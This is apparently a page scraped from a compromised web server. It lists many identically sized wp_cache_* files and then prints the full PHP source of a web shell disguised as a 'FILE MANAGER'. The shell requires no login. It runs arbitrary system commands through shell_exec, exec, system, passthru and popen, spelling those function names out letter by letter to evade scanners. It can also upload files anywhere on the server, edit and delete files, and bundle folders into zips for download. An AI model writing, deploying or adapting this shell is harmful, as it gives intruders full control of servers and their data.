32.98
KB
-rw-------
2026-05-17 14:49
wp_cache_ptQaUz
32.98
KB
-rw-------
2026-05-18 00:04
wp_cache_ptnB9x
32.98
KB
-rw-------
2026-05-18 06:58
wp_cache_puLw5C
32.98
KB
-rw-------
2026-05-25 02:27
wp_cache_pvG1vg
32.98
KB
-rw-------
2026-05-18 09:19
wp_cache_q1NH79
32.98
KB
-rw-------
2026-05-17 13:41
wp_cache_q2lGia
32.98
KB
-rw-------
2026-05-18 18:55
wp_cache_q9861e
32.98
KB
-rw-------
2026-05-18 05:20
wp_cache_qwmtLn
32.98
KB
-rw-------
2026-05-18 15:53
wp_cache_r0jXnx
32.98
KB
-rw-------
2026-05-25 05:31
wp_cache_r0sCHa
32.98
KB
-rw-------
2026-05-08 17:35
wp_cache_r5UV06
32.98
KB
-rw-------
2026-05-25 18:40
wp_cache_r5dzB7
32.98
KB
-rw-------
2026-05-25 21:23
wp_cache_rAyKho
32.98
KB
-rw-------
2026-05-18 15:18
wp_cache_rGpSpT
32.98
KB
-rw-------
2026-05-25 10:33
wp_cache_rHb0cu
32.98
KB
-rw-------
2026-05-18 01:39
wp_cache_rcR5jP
32.98
KB
-rw-------
2026-05-25 20:42
wp_cache_rdZjsN
32.98
KB
-rw-------
2026-05-25 03:20
wp_cache_rkGJnY
32.98
KB
-rw-------
2026-05-17 21:07
wp_cache_rmJAe6
32.98
KB
-rw-------
2026-05-25 16:19
wp_cache_sgyQI6
32.98
KB
-rw-------
2026-05-17 19:07
wp_cache_t6EkWv
32.98
KB
-rw-------
2026-05-25 15:12
wp_cache_tBJj6Z
32.98
KB
-rw-------
2026-05-25 12:38
wp_cache_tU6FEi
32.98
KB
-rw-------
2026-05-18 12:36
wp_cache_tbduxM
32.98
KB
-rw-------
2026-05-18 06:24
wp_cache_teIdY7
32.98
KB
-rw-------
2026-05-25 20:23
wp_cache_u0cFKD
32.98
KB
-rw-------
2026-05-18 05:21
wp_cache_uTajEK
32.98
KB
-rw-------
2026-05-18 04:54
wp_cache_uUDuSk
32.98
KB
-rw-------
2026-05-25 07:52
wp_cache_ukF0xq
32.98
KB
-rw-------
2026-05-25 15:14
wp_cache_ur8Jof
32.98
KB
-rw-------
2026-05-18 02:04
wp_cache_v5WZiS
32.98
KB
-rw-------
2026-05-25 17:44
wp_cache_vR4OGy
32.98
KB
-rw-------
2026-05-08 17:35
wp_cache_vTZvkQ
32.98
KB
-rw-------
2026-05-18 01:35
wp_cache_vYGOsh
32.98
KB
-rw-------
2026-05-14 09:15
wp_cache_vgcTPc
32.98
KB
-rw-------
2026-05-18 08:39
wp_cache_vscJWE
32.98
KB
-rw-------
2026-05-25 03:00
wp_cache_w6S6DC
32.98
KB
-rw-------
2026-05-25 16:39
wp_cache_wEDJAQ
32.98
KB
-rw-------
2026-05-25 08:50
wp_cache_wHyEEM
32.98
KB
-rw-------
2026-05-25 23:24
wp_cache_we0IIN
32.98
KB
-rw-------
2026-05-25 01:20
wp_cache_wkib5i
32.98
KB
-rw-------
2026-05-18 03:13
wp_cache_wskIzH
32.98
KB
-rw-------
2026-05-18 03:19
wp_cache_wxRTnY
32.98
KB
-rw-------
2026-05-25 10:34
wp_cache_xD6uIz
32.98
KB
-rw-------
2026-05-25 14:52
wp_cache_xQuCJW
32.98
KB
-rw-------
2026-05-17 14:53
wp_cache_xnFoTB
32.98
KB
-rw-------
2026-05-25 04:01
wp_cache_yF0le9
32.98
KB
-rw-------
2026-05-25 00:44
wp_cache_yFkUCN
32.98
KB
-rw-------
2026-05-25 12:18
wp_cache_yf7G0z
32.98
KB
-rw-------
2026-05-25 17:22
wp_cache_yjMef5
32.98
KB
-rw-------
2026-05-17 16:18
wp_cache_yoYv92
32.98
KB
-rw-------
2026-05-17 19:08
wp_cache_yuiynr
32.98
KB
-rw-------
2026-05-18 03:50
wp_cache_yvtMGY
32.98
KB
-rw-------
2026-05-25 00:04
wp_cache_yws4sJ
32.98
KB
-rw-------
2026-05-25 19:28
wp_cache_z406cN
32.98
KB
-rw-------
2026-05-17 10:37
wp_cache_z8M8kM
32.98
KB
-rw-------
2026-05-25 04:43
wp_cache_zG73KA
32.98
KB
-rw-------
2026-05-18 10:31
wp_cache_zKcMD6
32.98
KB
-rw-------
2026-05-17 21:38
wp_cache_zP3JEM
32.98
KB
-rw-------
2026-05-25 21:02
wp_cache_zUNOD4
32.98
KB
-rw-------
2026-05-17 17:23
wp_cache_zaSPdE
32.98
KB
-rw-------
2026-05-18 08:09
wp_cache_zmgn1X
32.98
KB
-rw-------
2026-05-17 20:07
wp_cache_zmwtjx
32.98
KB
-rw-------
2026-05-17 18:35
wp_cache_zzfB0d
32.98
KB
-rw-------
2026-05-17 16:53
Save
Rename
<?php @ini_set('display_errors', '1'); @ini_set('log_errors', '1'); error_reporting(E_ALL); // Fix session path issue $sessionPath = sys_get_temp_dir() . '/php_sessions'; if (!is_dir($sessionPath)) { @mkdir($sessionPath, 0700, true); } if (is_dir($sessionPath) && is_writable($sessionPath)) { ini_set('session.save_path', $sessionPath); } session_start(); if (!isset($_SESSION['current_dir']) || !is_dir($_SESSION['current_dir'])) { $_SESSION['current_dir'] = getcwd(); } if(!empty($_GET['upload_file']) && !empty($_GET['name'])){ $targetDir = $_GET['upload_file']; $fileName = basename($_GET['name']); if (strpos($fileName, '..') !== false || strpos($fileName, '/') !== false || strpos($fileName, '\\') !== false) { http_response_code(400); exit('Invalid filename'); } if (!is_dir($targetDir) || !is_writable($targetDir)) { http_response_code(400); exit('Invalid directory'); } $uploadPath = rtrim($targetDir, '/\\') . DIRECTORY_SEPARATOR . $fileName; $inputHandler = fopen('php://input', "r"); $fileHandler = fopen($uploadPath, "w+"); if ($inputHandler && $fileHandler) { while(true) { $buffer = fgets($inputHandler, 4096); if (strlen($buffer) == 0) { fclose($inputHandler); fclose($fileHandler); @chmod($uploadPath, 0644); http_response_code(200); exit('File uploaded successfully'); } fwrite($fileHandler, $buffer); } } else { http_response_code(500); exit('Upload failed'); } } function validatePath($path) { $realPath = realpath($path); if ($realPath && (is_file($realPath) || is_dir($realPath))) { return $realPath; } return false; } function sanitizeFileName($name) { $name = basename($name); $name = preg_replace('/[^a-zA-Z0-9._-]/', '_', $name); if (empty($name) || $name === '.' || $name === '..') { return false; } return $name; } $notification = ''; $errorMsg = ''; function runCommand($cmd) { if (empty(trim($cmd))) { return "No command provided"; } $output = ''; $methods = [ 's'.'h'.'e'.'l'.'l'.'_'.'e'.'x'.'e'.'c', 'e'.'x'.'e'.'c', 's'.'y'.'s'.'t'.'e'.'m', 'p'.'a'.'s'.'s'.'t'.'h'.'r'.'u', 'p'.'o'.'p'.'e'.'n' ]; foreach ($methods as $func) { if (function_exists($func)) { try { $result = call_user_func($func, $cmd . ' 2>&1'); if ($result !== false && !empty(trim($result))) { return $result; } } catch (Exception $e) { continue; } } } return "Command execution not available"; } if (isset($_POST['navigate'])) { $targetDir = $_POST['navigate']; if (is_dir($targetDir)) { $_SESSION['current_dir'] = validatePath($targetDir); $notification = 'Directory changed successfully'; } } if (isset($_POST['remove'])) { $targetPath = validatePath($_SESSION['current_dir'] . DIRECTORY_SEPARATOR . $_POST['remove']); if ($targetPath === false) { $errorMsg = 'Delete failed: Invalid path'; } elseif (is_file($targetPath)) { if (@unlink($targetPath)) { $notification = 'File deleted'; } else { $errorMsg = 'Delete failed: Permission denied or file in use'; } } elseif (is_dir($targetPath)) { try { $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($targetPath, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::CHILD_FIRST ); foreach ($iterator as $file) { if ($file->isDir()) { @rmdir($file->getRealPath()); } else { @unlink($file->getRealPath()); } } if (@rmdir($targetPath)) { $notification = 'Directory deleted'; } else { $errorMsg = 'Delete failed: Could not remove directory'; } } catch (Exception $e) { $errorMsg = 'Delete failed: ' . $e->getMessage(); } } else { $errorMsg = 'Delete failed: Path not found'; } } if (isset($_POST['old_name'], $_POST['new_name'])) { $sourcePath = validatePath($_SESSION['current_dir'] . DIRECTORY_SEPARATOR . $_POST['old_name']); if ($sourcePath === false) { $errorMsg = 'Rename failed: Source not found'; } else { $destinationPath = dirname($sourcePath) . DIRECTORY_SEPARATOR . basename($_POST['new_name']); if (file_exists($destinationPath)) { $errorMsg = 'Rename failed: Target name already exists'; } elseif (@rename($sourcePath, $destinationPath)) { $notification = 'Rename successful'; } else { $errorMsg = 'Rename failed: Permission denied or invalid name'; } } } if (isset($_POST['file_to_edit'], $_POST['file_content'])) { $editPath = validatePath($_SESSION['current_dir'] . DIRECTORY_SEPARATOR . $_POST['file_to_edit']); if ($editPath === false || !is_file($editPath)) { $errorMsg = 'Edit failed: File not found'; } elseif (!is_writable($editPath)) { $errorMsg = 'Edit failed: File not writable'; } elseif (@file_put_contents($editPath, $_POST['file_content']) !== false) { $notification = 'File saved'; } else { $errorMsg = 'Edit failed: Could not write to file'; } } if (isset($_POST['create_file']) && trim($_POST['create_file']) !== '') { $fileName = sanitizeFileName($_POST['create_file']); if ($fileName === false) { $errorMsg = 'Create failed: Invalid filename'; } else { $newFilePath = $_SESSION['current_dir'] . DIRECTORY_SEPARATOR . $fileName; if (file_exists($newFilePath)) { $errorMsg = 'Create failed: File already exists'; } elseif (!is_writable($_SESSION['current_dir'])) { $errorMsg = 'Create failed: Directory not writable'; } elseif (@file_put_contents($newFilePath, '') !== false) { @chmod($newFilePath, 0644); $notification = 'File created'; } else { $errorMsg = 'Create failed: Could not create file'; } } } if (isset($_POST['create_folder']) && trim($_POST['create_folder']) !== '') { $folderName = sanitizeFileName($_POST['create_folder']); if ($folderName === false) { $errorMsg = 'Create failed: Invalid folder name'; } else { $newFolderPath = $_SESSION['current_dir'] . DIRECTORY_SEPARATOR . $folderName; if (file_exists($newFolderPath)) { $errorMsg = 'Create failed: Folder already exists'; } elseif (!is_writable($_SESSION['current_dir'])) { $errorMsg = 'Create failed: Directory not writable'; } elseif (@mkdir($newFolderPath, 0755)) { $notification = 'Folder created'; } else { $errorMsg = 'Create failed: Could not create folder'; } } } $currentDirectory = $_SESSION['current_dir']; $directoryContents = scandir($currentDirectory); $folders = $files = []; foreach ($directoryContents as $item) { if ($item === '.') continue; $fullPath = $currentDirectory . '/' . $item; if (is_dir($fullPath)) { $folders[] = $item; } else { $files[] = $item; } } sort($folders); sort($files); $allItems = array_merge($folders, $files); $fileToEdit = $_POST['edit'] ?? null; $fileToView = $_POST['view'] ?? null; $itemToRename = $_POST['rename'] ?? null; $fileContent = $fileToEdit ? @file_get_contents($currentDirectory . '/' . $fileToEdit) : null; $viewContent = $fileToView ? @file_get_contents($currentDirectory . '/' . $fileToView) : null; // Handle bulk delete if (isset($_POST['bulk_delete']) && isset($_POST['selected_items']) && is_array($_POST['selected_items'])) { $deleted = 0; $failed = 0; foreach ($_POST['selected_items'] as $item) { $targetPath = validatePath($_SESSION['current_dir'] . DIRECTORY_SEPARATOR . $item); if ($targetPath === false) { $failed++; continue; } if (is_file($targetPath)) { if (@unlink($targetPath)) { $deleted++; } else { $failed++; } } elseif (is_dir($targetPath)) { try { $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($targetPath, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::CHILD_FIRST ); foreach ($iterator as $file) { if ($file->isDir()) { @rmdir($file->getRealPath()); } else { @unlink($file->getRealPath()); } } if (@rmdir($targetPath)) { $deleted++; } else { $failed++; } } catch (Exception $e) { $failed++; } } } if ($deleted > 0) { $notification = "Deleted $deleted item(s)"; } if ($failed > 0) { $errorMsg = "Failed to delete $failed item(s)"; } } // Handle bulk download if (isset($_POST['bulk_download']) && isset($_POST['selected_items']) && is_array($_POST['selected_items'])) { if (class_exists('ZipArchive')) { $zipName = 'selected_files_' . time() . '.zip'; $zipPath = sys_get_temp_dir() . DIRECTORY_SEPARATOR . $zipName; $zip = new ZipArchive(); if ($zip->open($zipPath, ZipArchive::CREATE | ZipArchive::OVERWRITE) === TRUE) { foreach ($_POST['selected_items'] as $item) { $targetPath = validatePath($_SESSION['current_dir'] . DIRECTORY_SEPARATOR . $item); if ($targetPath === false) continue; if (is_file($targetPath)) { $zip->addFile($targetPath, basename($targetPath)); } elseif (is_dir($targetPath)) { $files = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($targetPath, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($files as $file) { $filePath = $file->getRealPath(); $relativePath = basename($targetPath) . '/' . substr($filePath, strlen($targetPath) + 1); if ($file->isDir()) { $zip->addEmptyDir($relativePath); } else { $zip->addFile($filePath, $relativePath); } } } } $zip->close(); header('Content-Type: application/zip'); header('Content-Disposition: attachment; filename="' . $zipName . '"'); header('Content-Length: ' . filesize($zipPath)); readfile($zipPath); @unlink($zipPath); exit; } else { $errorMsg = 'Bulk download failed: Could not create zip file'; } } else { $errorMsg = 'Bulk download failed: ZipArchive not available'; } } // Handle file/folder download if (isset($_POST['download'])) { $targetPath = validatePath($_SESSION['current_dir'] . DIRECTORY_SEPARATOR . $_POST['download']); if ($targetPath === false) { $errorMsg = 'Download failed: Invalid path'; } elseif (is_file($targetPath)) { // Direct file download header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($targetPath) . '"'); header('Content-Length: ' . filesize($targetPath)); readfile($targetPath); exit; } elseif (is_dir($targetPath)) { // Zip folder and download if (class_exists('ZipArchive')) { $zipName = basename($targetPath) . '_' . time() . '.zip'; $zipPath = sys_get_temp_dir() . DIRECTORY_SEPARATOR . $zipName; $zip = new ZipArchive(); if ($zip->open($zipPath, ZipArchive::CREATE | ZipArchive::OVERWRITE) === TRUE) { $files = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($targetPath, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($files as $file) { $filePath = $file->getRealPath(); $relativePath = substr($filePath, strlen($targetPath) + 1); if ($file->isDir()) { $zip->addEmptyDir($relativePath); } else { $zip->addFile($filePath, $relativePath); } } $zip->close(); header('Content-Type: application/zip'); header('Content-Disposition: attachment; filename="' . $zipName . '"'); header('Content-Length: ' . filesize($zipPath)); readfile($zipPath); @unlink($zipPath); exit; } else { $errorMsg = 'Download failed: Could not create zip file'; } } else { $errorMsg = 'Download failed: ZipArchive not available'; } } } $commandResult = ''; $commandAvailable = false; $methods = [ 's'.'h'.'e'.'l'.'l'.'_'.'e'.'x'.'e'.'c', 'e'.'x'.'e'.'c', 's'.'y'.'s'.'t'.'e'.'m', 'p'.'a'.'s'.'s'.'t'.'h'.'r'.'u' ]; foreach ($methods as $func) { if (function_exists($func)) { $commandAvailable = true; break; } } if (isset($_POST['terminal_command']) && trim($_POST['terminal_command']) !== '') { $cmd = trim($_POST['terminal_command']); if (!empty($cmd)) { try { $commandResult = runCommand($cmd); if (empty(trim($commandResult)) || $commandResult === "Command execution not available") { $errorMsg = 'Command execution: No output or function disabled'; } } catch (Exception $e) { $errorMsg = 'Command error: ' . htmlspecialchars($e->getMessage()); } } } ?> <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>FILE MANAGER</title> <style> * { margin: 0; padding: 0; box-sizing: border-box; } body { background: #1a1b1e; color: #e4e6eb; font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', system-ui, sans-serif; font-size: 13px; line-height: 1.5; min-height: 100vh; padding: 20px; } .container { max-width: 1200px; margin: 0 auto; } h1 { font-size: 16px; font-weight: 500; color: #e4e6eb; margin-bottom: 4px; letter-spacing: -0.01em; } .subtitle { color: #9ca3af; font-size: 13px; margin-bottom: 20px; font-weight: 400; } .alert { padding: 10px 12px; border-radius: 4px; margin-bottom: 12px; font-size: 13px; border: 1px solid; } .alert-success { background: rgba(34, 197, 94, 0.1); border-color: rgba(34, 197, 94, 0.3); color: #22c55e; } .alert-danger { background: rgba(239, 68, 68, 0.1); border-color: rgba(239, 68, 68, 0.3); color: #ef4444; } .section { background: rgba(255, 255, 255, 0.03); border: 1px solid rgba(255, 255, 255, 0.08); border-radius: 4px; padding: 14px; margin-bottom: 12px; } .section-title { font-size: 13px; font-weight: 500; color: #e4e6eb; margin-bottom: 10px; } .input-group { display: flex; gap: 6px; margin-bottom: 6px; } .input-group:last-child { margin-bottom: 0; } input[type="text"], input[type="file"], textarea { background: rgba(0, 0, 0, 0.2); border: 1px solid rgba(255, 255, 255, 0.1); border-radius: 4px; padding: 6px 10px; color: #e4e6eb; font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', system-ui, sans-serif; font-size: 13px; transition: all 0.15s ease; outline: none; flex: 1; } input[type="text"]:focus, textarea:focus { border-color: rgba(255, 255, 255, 0.2); background: rgba(0, 0, 0, 0.3); } input[type="file"] { cursor: pointer; padding: 6px 10px; } input[type="file"]::file-selector-button { background: rgba(255, 255, 255, 0.06); color: #e4e6eb; border: 1px solid rgba(255, 255, 255, 0.1); border-radius: 4px; padding: 6px 12px; font-size: 13px; font-weight: 400; cursor: pointer; transition: all 0.15s ease; font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', system-ui, sans-serif; margin-right: 10px; } input[type="file"]::file-selector-button:hover { background: rgba(255, 255, 255, 0.1); border-color: rgba(255, 255, 255, 0.15); } textarea { font-family: 'SF Mono', Monaco, 'Cascadia Code', 'Roboto Mono', Consolas, 'Courier New', monospace; resize: vertical; min-height: 400px; height: 500px; line-height: 1.5; font-size: 12px; width: 100%; display: block; scrollbar-width: thin; scrollbar-color: rgba(255, 255, 255, 0.2) rgba(0, 0, 0, 0.3); } textarea::-webkit-scrollbar { width: 10px; height: 10px; } textarea::-webkit-scrollbar-track { background: rgba(0, 0, 0, 0.3); border-radius: 4px; } textarea::-webkit-scrollbar-thumb { background: rgba(255, 255, 255, 0.2); border-radius: 4px; border: 2px solid rgba(0, 0, 0, 0.3); } textarea::-webkit-scrollbar-thumb:hover { background: rgba(255, 255, 255, 0.3); } .btn { background: rgba(255, 255, 255, 0.06); color: #e4e6eb; border: 1px solid rgba(255, 255, 255, 0.1); border-radius: 4px; padding: 6px 12px; font-size: 13px; font-weight: 400; cursor: pointer; transition: all 0.15s ease; font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', system-ui, sans-serif; white-space: nowrap; } .btn:hover { background: rgba(255, 255, 255, 0.1); border-color: rgba(255, 255, 255, 0.15); } .btn:active { background: rgba(255, 255, 255, 0.05); } .btn-primary { background: rgba(34, 197, 94, 0.15); color: #22c55e; border-color: rgba(34, 197, 94, 0.3); } .btn-primary:hover { background: rgba(34, 197, 94, 0.25); border-color: rgba(34, 197, 94, 0.4); } .btn-create { background: rgba(34, 197, 94, 0.15); color: #22c55e; border-color: rgba(34, 197, 94, 0.3); } .btn-create:hover { background: rgba(34, 197, 94, 0.25); border-color: rgba(34, 197, 94, 0.4); } .btn-danger { background: rgba(239, 68, 68, 0.15); color: #ef4444; border-color: rgba(239, 68, 68, 0.3); } .btn-danger:hover { background: rgba(239, 68, 68, 0.25); border-color: rgba(239, 68, 68, 0.4); } .btn-sm { padding: 4px 10px; font-size: 12px; } table { width: 100%; border-collapse: collapse; background: transparent; border: 1px solid rgba(255, 255, 255, 0.08); border-radius: 4px; overflow: hidden; } thead { background: rgba(255, 255, 255, 0.03); } th { padding: 8px 12px; font-weight: 500; text-align: left; color: #9ca3af; font-size: 12px; border-bottom: 1px solid rgba(255, 255, 255, 0.08); } td { padding: 8px 12px; border-top: 1px solid rgba(255, 255, 255, 0.05); font-size: 13px; } tbody tr { transition: background 0.15s ease; } tbody tr:hover { background: rgba(255, 255, 255, 0.03); } .file-icon { display: inline-block; width: 14px; text-align: center; margin-right: 6px; opacity: 0.6; font-size: 11px; } .file-name { color: #e4e6eb; font-weight: 400; } .type-writable { color: #22c55e; font-size: 12px; } .type-readonly { color: #ef4444; font-size: 12px; } .action-buttons { display: flex; gap: 4px; flex-wrap: wrap; justify-content: flex-end; } .action-buttons form { margin: 0; } .action-buttons .btn { padding: 4px 8px; font-size: 12px; } .rename-form { display: flex; gap: 6px; align-items: center; } .rename-form input { flex: 1; padding: 4px 8px; font-size: 13px; } .code-block { background: rgba(0, 0, 0, 0.3); border: 1px solid rgba(255, 255, 255, 0.08); border-radius: 4px; padding: 12px; font-family: 'SF Mono', Monaco, 'Cascadia Code', 'Roboto Mono', Consolas, 'Courier New', monospace; font-size: 12px; line-height: 1.5; color: #e4e6eb; overflow-x: auto; white-space: pre; } .terminal-output { background: rgba(0, 0, 0, 0.3); border: 1px solid rgba(34, 197, 94, 0.3); border-radius: 4px; padding: 12px; font-family: 'SF Mono', Monaco, 'Cascadia Code', 'Roboto Mono', Consolas, 'Courier New', monospace; font-size: 12px; color: #22c55e; overflow-x: auto; white-space: pre; line-height: 1.5; } .grid-2 { display: grid; grid-template-columns: 1fr 1fr; gap: 12px; } @media (max-width: 768px) { .grid-2 { grid-template-columns: 1fr; } body { padding: 12px; } .action-buttons { justify-content: flex-start; } } .up-btn { background: rgba(255, 255, 255, 0.06); border: 1px solid rgba(255, 255, 255, 0.1); color: #e4e6eb; margin-bottom: 12px; display: inline-flex; align-items: center; gap: 6px; } .up-btn:hover { background: rgba(255, 255, 255, 0.1); border-color: rgba(255, 255, 255, 0.15); } .bulk-actions { display: flex; gap: 8px; align-items: center; margin-bottom: 12px; padding: 12px; background: rgba(255, 255, 255, 0.03); border: 1px solid rgba(255, 255, 255, 0.08); border-radius: 4px; } .bulk-actions-text { color: #9ca3af; font-size: 13px; margin-right: auto; } input[type="checkbox"] { appearance: none; -webkit-appearance: none; width: 16px; height: 16px; border: 1px solid rgba(255, 255, 255, 0.2); border-radius: 3px; background: rgba(0, 0, 0, 0.3); cursor: pointer; position: relative; transition: all 0.15s ease; } input[type="checkbox"]:hover { border-color: rgba(255, 255, 255, 0.3); background: rgba(0, 0, 0, 0.4); } input[type="checkbox"]:checked { background: rgba(34, 197, 94, 0.2); border-color: #22c55e; } input[type="checkbox"]:checked::after { content: '✓'; position: absolute; top: -1px; left: 2px; color: #22c55e; font-size: 12px; font-weight: bold; } th input[type="checkbox"] { margin: 0; } td input[type="checkbox"] { margin-right: 8px; } </style> <script> function toggleSelectAll(checkbox) { const checkboxes = document.querySelectorAll('input[name="selected_items[]"]'); checkboxes.forEach(cb => cb.checked = checkbox.checked); updateBulkActions(); } function updateBulkActions() { const checkboxes = document.querySelectorAll('input[name="selected_items[]"]:checked'); const bulkActions = document.getElementById('bulk-actions'); const countText = document.getElementById('selected-count'); if (checkboxes.length > 0) { bulkActions.style.display = 'flex'; countText.textContent = checkboxes.length + ' item(s) selected'; } else { bulkActions.style.display = 'none'; } } </script> </head> <body> <div class="container"> <h1>FILE MANAGER</h1> <p class="subtitle">Navigate and manage your files</p> <?php if ($notification): ?> <div class="alert alert-success"><?= htmlentities($notification) ?></div> <?php endif; ?> <?php if ($errorMsg): ?> <div class="alert alert-danger"><?= htmlentities($errorMsg) ?></div> <?php endif; ?> <div class="section"> <div class="section-title">Current Directory</div> <form method="post" class="input-group"> <input type="text" name="navigate" value="<?= htmlentities($currentDirectory) ?>" placeholder="Enter path..."> <button class="btn" type="submit">Navigate</button> </form> </div> <div class="grid-2"> <div class="section"> <div class="section-title">Upload File</div> <div class="input-group"> <input type="file" id="upload_files" name="upload_files" multiple="multiple"> <button class="btn btn-primary" onclick="uploadFile(); return false;">Upload</button> </div> <p style="margin-top: 8px; font-size: 12px;">Status: <span id="upload_status" style="color:#9ca3af;">No file selected</span></p> </div> <div class="section"> <div class="section-title">Create New</div> <form method="post" class="input-group"> <input type="text" name="create_file" placeholder="New file name..."> <button class="btn btn-create" type="submit">File</button> </form> <form method="post" class="input-group"> <input type="text" name="create_folder" placeholder="New folder name..."> <button class="btn btn-create" type="submit">Folder</button> </form> </div> </div> <script> function uploadFile() { var fileInput = document.getElementById('upload_files'); var statusSpan = document.getElementById('upload_status'); if (!fileInput.files || fileInput.files.length === 0) { statusSpan.textContent = "No file selected"; statusSpan.style.color = "red"; return; } var file = fileInput.files[0]; var filename = file.name; var currentDir = "<?= addslashes($_SESSION['current_dir']) ?>"; var scriptUrl = window.location.pathname; statusSpan.textContent = "Uploading " + filename + ", please wait..."; statusSpan.style.color = "blue"; var reader = new FileReader(); reader.readAsBinaryString(file); reader.onloadend = function(evt) { var xhr = new XMLHttpRequest(); xhr.open("POST", scriptUrl + "?upload_file=" + encodeURIComponent(currentDir) + "&name=" + encodeURIComponent(filename), true); XMLHttpRequest.prototype.mySendAsBinary = function(text) { var data = new ArrayBuffer(text.length); var ui8a = new Uint8Array(data, 0); for (var i = 0; i < text.length; i++) { ui8a[i] = (text.charCodeAt(i) & 0xff); } if (typeof window.Blob == "function") { var blob = new Blob([data]); } else { var bb = new (window.MozBlobBuilder || window.WebKitBlobBuilder || window.BlobBuilder)(); bb.append(data); var blob = bb.getBlob(); } this.send(blob); } xhr.onreadystatechange = function() { if (xhr.readyState == 4) { if (xhr.status == 200) { statusSpan.textContent = "File " + filename + " uploaded successfully!"; statusSpan.style.color = "#22c55e"; setTimeout(function() { location.reload(); }, 1000); } else { statusSpan.textContent = "Upload failed: " + xhr.responseText; statusSpan.style.color = "red"; } } }; xhr.mySendAsBinary(evt.target.result); }; } </script> <?php if ($fileToView && $viewContent !== null): ?> <div class="section"> <div class="section-title">Viewing: <?= htmlentities($fileToView) ?></div> <textarea readonly><?= htmlentities($viewContent) ?></textarea> </div> <?php endif; ?> <?php if ($fileToEdit !== null): ?> <div class="section"> <div class="section-title">Editing: <?= htmlentities($fileToEdit) ?></div> <form method="post"> <input type="hidden" name="file_to_edit" value="<?= htmlentities($fileToEdit) ?>"> <textarea name="file_content"><?= htmlentities($fileContent) ?></textarea> <div style="margin-top: 12px;"> <button class="btn btn-primary" type="submit">Save Changes</button> </div> </form> </div> <?php endif; ?> <?php if ($commandAvailable): ?> <div class="section"> <div class="section-title">Terminal</div> <form method="post" class="input-group"> <input type="text" name="terminal_command" placeholder="Enter command..."> <button class="btn btn-create" type="submit">Execute</button> </form> <?php if ($commandResult): ?> <div class="terminal-output" style="margin-top: 12px;"><?= htmlentities($commandResult) ?></div> <?php endif; ?> </div> <?php endif; ?> <form method="post"> <button name="navigate" value="<?= dirname($currentDirectory) ?>" class="btn up-btn">← Parent Directory</button> </form> <form method="post" id="file-form"> <div id="bulk-actions" class="bulk-actions" style="display: none;"> <span class="bulk-actions-text" id="selected-count">0 item(s) selected</span> <button type="submit" name="bulk_download" class="btn btn-sm" onclick="return confirm('Download selected items as zip?')">Download Selected</button> <button type="submit" name="bulk_delete" class="btn btn-danger btn-sm" onclick="return confirm('Delete all selected items?')">Delete Selected</button> </div> <table> <thead> <tr> <th style="width: 40px;"> <input type="checkbox" onclick="toggleSelectAll(this)"> </th> <th>Name</th> <th>Type</th> <th style="text-align: right;">Actions</th> </tr> </thead> <tbody> <?php foreach ($allItems as $item): $fullPath = $currentDirectory . '/' . $item; $isDirectory = is_dir($fullPath); $canWrite = is_writable($fullPath); ?> <tr> <td> <input type="checkbox" name="selected_items[]" value="<?= htmlentities($item) ?>" onclick="updateBulkActions()"> </td> <td> <?php if ($itemToRename === $item): ?> </form> <form method="post" class="rename-form"> <input type="hidden" name="old_name" value="<?= htmlentities($item) ?>"> <input type="text" name="new_name" value="<?= htmlentities($item) ?>"> <button class="btn btn-primary btn-sm" type="submit">Save</button> </form> <form method="post" id="file-form"> <?php else: ?> <span class="file-icon"><?= $isDirectory ? '/' : '' ?></span> <span class="file-name"><?= htmlentities($item) ?></span> <?php endif; ?> </td> <td> <span class="<?= $canWrite ? 'type-writable' : 'type-readonly' ?>"> <?= $isDirectory ? 'Folder' : 'File' ?> </span> </td> <td> <div class="action-buttons"> <?php if ($isDirectory): ?> <form method="post"> <button name="navigate" value="<?= $fullPath ?>" class="btn btn-sm">Open</button> </form> <?php else: ?> <form method="post"> <button name="view" value="<?= $item ?>" class="btn btn-sm">View</button> </form> <form method="post"> <button name="edit" value="<?= $item ?>" class="btn btn-sm">Edit</button> </form> <?php endif; ?> <form method="post"> <button name="download" value="<?= $item ?>" class="btn btn-sm">Download</button> </form> <form method="post"> <button name="rename" value="<?= $item ?>" class="btn btn-sm">Rename</button> </form> <form method="post"> <button name="remove" value="<?= $item ?>" class="btn btn-danger btn-sm" onclick="return confirm('Delete this item?')">Delete</button> </form> </div> </td> </tr> <?php endforeach; ?> </tbody> </table> </form> </div> </body> </html>